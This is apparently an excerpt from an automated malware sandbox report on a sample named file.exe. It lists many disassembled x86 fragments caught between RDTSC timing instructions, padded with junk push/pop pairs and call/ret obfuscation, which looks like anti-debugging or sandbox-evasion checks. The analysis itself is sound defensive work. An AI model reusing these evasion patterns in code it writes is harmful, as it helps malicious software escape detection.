Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8F9B second address: 6E8FA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8FA1 second address: 6E8FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2C24E651A7h 0x0000000b popad 0x0000000c pushad 0x0000000d jg 00007F2C24E651A6h 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9474 second address: 6E947E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2C247D9BF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF9E4 second address: 6EF9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2C24E65196h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF9F3 second address: 6EFA08 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2C247D9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFA08 second address: 6EFA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFA0C second address: 6EFA12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFCC0 second address: 6EFCCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F2C24E65196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F42B6 second address: 6F42BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F42BA second address: 6F42DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F2C24E651A8h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F42DB second address: 6F42F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C247D9BF3h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3A50 second address: 6F3A60 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2C24E65196h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3A60 second address: 6F3A64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3F84 second address: 6F3F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3F88 second address: 6F3FAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2C247D9BF2h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3FAE second address: 6F3FC0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jp 00007F2C24E65196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3FC0 second address: 6F3FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3FC8 second address: 6F3FD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F2C24E65196h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F3FD5 second address: 6F3FD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4143 second address: 6F414D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2C24E65196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F414D second address: 6F4157 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2C247D9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4157 second address: 6F416F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5AC9 second address: 6F5ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5ACF second address: 6F5AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5EAF second address: 6F5EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5EB3 second address: 6F5EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6184 second address: 6F619C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C247D9BF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F619C second address: 6F61A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F66C1 second address: 6F66C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6971 second address: 6F6975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6A70 second address: 6F6A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6B59 second address: 6F6B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6C5B second address: 6F6C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F794B second address: 6F7950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAB60 second address: 6FAB64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB642 second address: 6FB652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F2C24E65196h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB652 second address: 6FB656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA8E6 second address: 6FA8EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBFC4 second address: 6FBFCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBFCA second address: 6FBFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBFCE second address: 6FBFE0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2C247D9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBFE0 second address: 6FBFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBFE4 second address: 6FC010 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2C247D9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c mov esi, dword ptr [ebp+122D25B7h] 0x00000012 push 00000000h 0x00000014 mov esi, 0ACF1CBFh 0x00000019 push 00000000h 0x0000001b mov edi, ebx 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 jns 00007F2C247D9BECh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FC010 second address: 6FC043 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jno 00007F2C24E65196h 0x00000013 jmp 00007F2C24E6519Dh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FFE83 second address: 6FFE87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701F5A second address: 701F60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701F60 second address: 701F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701F64 second address: 701FC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E6519Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F2C24E65198h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D2A07h] 0x0000002e push 00000000h 0x00000030 add ebx, dword ptr [ebp+122D27DBh] 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D1BE7h], ebx 0x0000003e push eax 0x0000003f pushad 0x00000040 jp 00007F2C24E6519Ch 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702111 second address: 702115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703193 second address: 7031B0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F2C24E65196h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2C24E6519Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7031B0 second address: 7031B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7041C2 second address: 704232 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E6519Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2B82h], edx 0x00000011 pushad 0x00000012 movsx edi, dx 0x00000015 and cx, D547h 0x0000001a popad 0x0000001b push dword ptr fs:[00000000h] 0x00000022 movzx edi, cx 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c mov edi, dword ptr [ebp+122D2A4Bh] 0x00000032 mov eax, dword ptr [ebp+122D012Dh] 0x00000038 or bx, 56E2h 0x0000003d jmp 00007F2C24E651A1h 0x00000042 push FFFFFFFFh 0x00000044 xor edi, dword ptr [ebp+122D2A23h] 0x0000004a nop 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F2C24E651A1h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705225 second address: 70522C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704232 second address: 704236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705F1C second address: 705F83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F2C247D9BE6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f xor bx, 6966h 0x00000014 push 00000000h 0x00000016 xor ebx, 74F0F1A1h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F2C247D9BE8h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 mov dword ptr [ebp+122D181Ch], eax 0x0000003e push eax 0x0000003f sub dword ptr [ebp+122D1A87h], esi 0x00000045 pop ebx 0x00000046 push eax 0x00000047 push ecx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F2C247D9BF6h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E18 second address: 708E1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709388 second address: 70938C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70938C second address: 709392 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709392 second address: 70942F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F2C247D9BE8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov ebx, dword ptr [ebp+122D1F05h] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007F2C247D9BE8h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 mov edi, dword ptr [ebp+122D280Fh] 0x0000004e push 00000000h 0x00000050 call 00007F2C247D9BF9h 0x00000055 add ebx, 14164700h 0x0000005b pop edi 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jp 00007F2C247D9BE8h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70942F second address: 709434 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C624 second address: 70C62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70A601 second address: 70A606 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C8AB second address: 70C8B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C8B1 second address: 70C8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E675 second address: 70E67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C8B7 second address: 70C8BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E67B second address: 70E680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E680 second address: 70E68A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F2C24E65196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E7CE second address: 70E7D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E7D3 second address: 70E7E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E7E2 second address: 70E7E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E7E6 second address: 70E880 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E6519Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F2C24E65198h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 sbb bl, 00000064h 0x00000028 push dword ptr fs:[00000000h] 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007F2C24E65198h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 sub edi, dword ptr [ebp+122D2B13h] 0x0000004f mov dword ptr fs:[00000000h], esp 0x00000056 add dword ptr [ebp+122D1B98h], edx 0x0000005c mov eax, dword ptr [ebp+122D0851h] 0x00000062 mov dword ptr [ebp+122D18B9h], edi 0x00000068 push FFFFFFFFh 0x0000006a push esi 0x0000006b jo 00007F2C24E6519Ch 0x00000071 jc 00007F2C24E65196h 0x00000077 pop ebx 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b jo 00007F2C24E6519Ch 0x00000081 jbe 00007F2C24E65196h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E880 second address: 70E8A1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2C247D9BF7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710890 second address: 710896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717928 second address: 71792D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71792D second address: 717942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2C24E65196h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ebx 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717942 second address: 717948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717AFF second address: 717B10 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F2C24E65198h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717B10 second address: 717B1C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2C247D9BEEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717B1C second address: 717B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717B25 second address: 717B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C247D9BEEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E40C second address: 71E412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E412 second address: 71E416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E416 second address: 71E442 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F2C24E65198h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E50B second address: 71E50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5F2 second address: 71E5F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5F6 second address: 71E5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5FC second address: 71E606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F2C24E65196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72338A second address: 723394 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2C247D9BE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723394 second address: 7233A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F2C24E6519Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723BB7 second address: 723BE3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F2C247D9C03h 0x0000000f jmp 00007F2C247D9BF0h 0x00000014 jmp 00007F2C247D9BEDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723BE3 second address: 723BEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723D40 second address: 723D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
